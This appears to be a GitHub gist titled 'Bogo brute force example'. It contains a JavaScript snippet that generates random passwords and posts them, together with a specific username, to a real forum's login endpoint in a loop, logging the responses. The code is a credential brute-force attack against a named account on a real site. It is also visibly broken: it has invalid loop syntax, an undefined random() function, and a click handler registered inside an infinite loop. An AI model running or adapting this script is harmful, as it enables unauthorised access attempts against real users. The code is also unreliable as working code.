Skip to content

Instantly share code, notes, and snippets.

@hughrawlinson
Last active February 11, 2016 11:46
Show Gist options
  • Save hughrawlinson/c826671cd81d1cecc9be to your computer and use it in GitHub Desktop.
Save hughrawlinson/c826671cd81d1cecc9be to your computer and use it in GitHub Desktop.
Bogo brute force example
function makepw(){
var text = "";
var len = random(1,15)
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < len; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
while true{
var pw = makepw();
$("button").click(function(){
$.post("http://boards.ie/auth/login",
{
username:"declanbeverage",
password:pw
},
function(data,status){
console.log("Data: " + data + "\nStatus: " + status + "\nPassword: "+pw);
});
});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment